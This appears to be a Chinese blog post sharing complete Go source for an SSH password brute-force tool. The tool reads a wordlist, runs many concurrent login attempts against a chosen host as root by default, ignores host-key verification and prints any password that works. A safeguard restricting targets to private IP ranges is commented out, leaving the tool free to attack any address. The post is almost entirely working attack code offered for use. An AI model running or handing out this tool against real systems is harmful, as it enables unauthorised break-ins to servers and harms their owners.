Golang 版的ssh爆破小工具

源码如下：

package main

import (
    "bufio"
    "flag"
    "fmt"
    "golang.org/x/crypto/ssh"
    "io"
    "os"
    "regexp"
    "runtime"
    "sync"
    "time"
)
var (
    file string
    host string
    port int
    user string
)
var exit = make(chan bool)
var starttime = time.Now()
var wg = sync.WaitGroup{}
var cpunum = runtime.NumCPU()

func init() {
    //获取命令行配置信息
    flag.StringVar(&file,"f","pass.txt","密码文件")
    flag.StringVar(&host,"h","127.0.0.1","ip地址")
    flag.IntVar(&port,"p",22,"端口地址")
    flag.StringVar(&user,"u","root","用户名")
}

func main(){
    defer testtime(starttime)
    flag.Parse()
    //match := CheckIp(host)
    //if !match {
    //    fmt.Println("ip错误，只能用于内网ip地址。\n正则验证规则：`^(192\\.168(\\.(\\d|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])){2}|172\\.(1[6-9]|2\\d|3[0,1])(\\.(\\d|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])){2}|10(\\.(\\d|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])){3})$`")
    //    return
    //}
    if host == "127.0.0.1" {
        fmt.Printf("[-]Usage %s -h=192.168.1.1\n",os.Args[0])
        fmt.Println("密码字典默认为同目录下的：pass.txt。可以通过：-f=xx.txt指定")
        return
    }
    passchan := make(chan string)
    //开启一个pass读取协程将读取到的密码赋予给一个passchan通道。
    go func(){
        file,err := os.Open(file)
        if err != nil {
            fmt.Println(err)
            os.Exit(1)
        }
        defer file.Close()
        bf := bufio.NewReader(file)
        for {
            str,err := bf.ReadString('\n')
            if err != nil {
                if err == io.EOF {
                    fmt.Println("文件读取完毕")
                }else {
                    fmt.Println("读取文件错误",err)
                }
                close(passchan)
                return
            }
            passchan<- str[:len(str)-2]
        }
    }()

    //开启一个ssh链接协程，监听passchan通道，并创建链接
    ip := fmt.Sprintf("%s:%d", host, port)
    worknum := (cpunum-1)*20
    for i:=0; i<worknum; i++ {
        wg.Add(1)
        go SshConnect(ip,passchan)
    }
    wg.Wait()
    //time.Sleep(time.Second*15)
}

//ssh链接函数
func SshConnect(ip string, passchan chan string) {
    for {
        select {
            case pass,ok := <-passchan :
                if !ok {
                    wg.Done()
                    return
                }
                client := &ssh.ClientConfig{
                    User: user,
                    Timeout: time.Second,
                    HostKeyCallback: ssh.InsecureIgnoreHostKey(),
                    Auth: []ssh.AuthMethod{ssh.Password(pass)},
                }
                _,err := ssh.Dial("tcp",ip,client)
                if err == nil {
                    fmt.Printf("%s 爆破成功。账号：%s,密码:%v",ip,client.User,pass)
                    testtime(starttime)
                    os.Exit(1)
                }
            case <-time.After(time.Second * 60) :
                fmt.Println("链接ssh出错，在select处退出")
                os.Exit(1)
        }
    }
}


func CheckIp(ip string) bool {
    // 0-255
    //(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])

    //192.168.0.0 - 192.168.255.255
    //192\.168(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){2}

    //172.16.0.0 - 172.31.255.255
    //172\.(1[6-9]|2\d|3[0,1])(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){2}

    //10.0.0.0 - 10.255.255.255
    //10(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){3}
    match,err := regexp.MatchString(`^(192\.168(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){2}|172\.(1[6-9]|2\d|3[0,1])(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){2}|10(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){3})$`,ip)
    if err != nil{
        fmt.Println(err)
        return false
    }
    return match
}

func testtime(start time.Time)  {
    fmt.Println("运行时间：",time.Since(start))
}

View Code